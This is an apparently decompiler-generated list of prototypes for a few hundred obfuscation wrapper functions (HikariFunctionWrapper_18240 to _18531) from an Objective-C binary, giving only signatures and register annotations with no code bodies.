void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18240(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18241(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18242(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18243(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18244(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18245(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18246(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18247(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18248(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18249(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18250(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18251(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18252(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18253(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18254(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18255(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18256(__int64);
__int64 __fastcall HikariFunctionWrapper_18257(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18258(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18259(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18260(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18261(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18262(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18263(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18264(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18265(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18266(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18267(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18268(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18269(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18270(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18271(NSString *a1);
id __fastcall HikariFunctionWrapper_18272(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18273(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18274(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18275(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18276(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18277(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18278(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18279(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18280(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18281(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18282(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18283(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18284(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18285(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18286(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18287(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18288(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18289(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18290(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18291(NSString *a1);
uint32_t __fastcall HikariFunctionWrapper_18292(uint32_t a1);
uint32_t __fastcall HikariFunctionWrapper_18293(uint32_t a1);
id __fastcall HikariFunctionWrapper_18294(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18295(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18296(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18297(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18298(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18299(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18300(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18301(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18302(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18303(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18304(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18305(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18306(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18307(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18308(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18309(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18310(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18311(__int64 a1);
id __fastcall HikariFunctionWrapper_18312(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18313(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18314(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18315(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18316(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18317(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18318(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18319(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18320(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18321(void *a1, const char *a2);
unsigned int __fastcall HikariFunctionWrapper_18322(unsigned int a1);
unsigned int __fastcall HikariFunctionWrapper_18323(unsigned int a1);
__int64 __fastcall HikariFunctionWrapper_18324(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18325(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18326(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18327(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18328(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18329(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18330(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18331(__int64 a1);
id __fastcall HikariFunctionWrapper_18332(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18333(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18334(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18335(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18336(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18337(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18338(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18339(void *a1);
__int64 __fastcall HikariFunctionWrapper_18340(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18341(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18342(__int64);
__int64 __fastcall HikariFunctionWrapper_18343(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18344(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18345(__int64 a1, __int64 a2);
bool __fastcall HikariFunctionWrapper_18346(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18347(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall HikariFunctionWrapper_18348(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18349(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18350(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18351(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18352(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18353(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18354(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18355(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18356(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18357(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18358(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18359(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18360(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18361(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18362(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18363(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18364(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18365(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18366(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18367(void *a1);
__int64 __fastcall HikariFunctionWrapper_18368(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18369(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18370(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18371(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18372(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18373(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18374(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18375(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18376(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18377(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall HikariFunctionWrapper_18378(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18379(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18380(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18381(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18382(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18383(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18384(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18385(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18386(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18387(void *a1, __int64 a2);
bool __fastcall HikariFunctionWrapper_18388(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18389(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18390(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18391(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18392(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18393(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18394(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18395(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18396(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18397(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18398(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18399(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18400(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18401(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18402(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18403(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18404(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18405(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18406(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18407(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18408(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18409(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18410(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18411(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18412(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18413(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18414(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18415(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18416(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18417(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18418(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18419(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18420(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18421(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18422(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18423(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18424(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18425(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18426(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18427(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18428(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18429(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18430(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18431(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18432(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18433(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18434(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18435(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18436(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18437(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18438(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18439(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18440(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18441(__int64 a1);
id __fastcall HikariFunctionWrapper_18442(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18443(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18444(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18445(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18446(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18447(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18448(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18449(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18450(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18451(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18452(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18453(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18454(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18455(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18456();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18457();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18458(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18459(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18460(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18461(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18462(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18463(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18464(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18465(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18466(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18467(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18468(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18469(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18470(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18471(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18472(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18473(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18474(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18475(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18476(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18477(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18478(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18479(void *a1, const char *a2);
char __fastcall HikariFunctionWrapper_18480(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_18481(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18482(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18483(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18484(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18485(void *a1);
id __fastcall HikariFunctionWrapper_18486(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18487(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18488(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18489(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18490(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18491(__int64 a1);
id __fastcall HikariFunctionWrapper_18492(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18493(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18494(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18495(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
id __fastcall HikariFunctionWrapper_18496(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18497(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18498(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18499(void *a1, const char *a2);
uint32_t __fastcall HikariFunctionWrapper_18500(uint32_t a1);
uint32_t __fastcall HikariFunctionWrapper_18501(uint32_t a1);
id __fastcall HikariFunctionWrapper_18502(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18503(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18504(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18505(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18506(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18507(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18508(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18509(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18510(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18511(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18512(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18513(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
char __fastcall HikariFunctionWrapper_18514(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_18515(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18516(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18517(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18518(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18519(__int64 a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18520(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18521(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18522(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18523(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18524(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18525(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18526(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18527(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18528(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18529(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18530(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18531(__int64 a1);
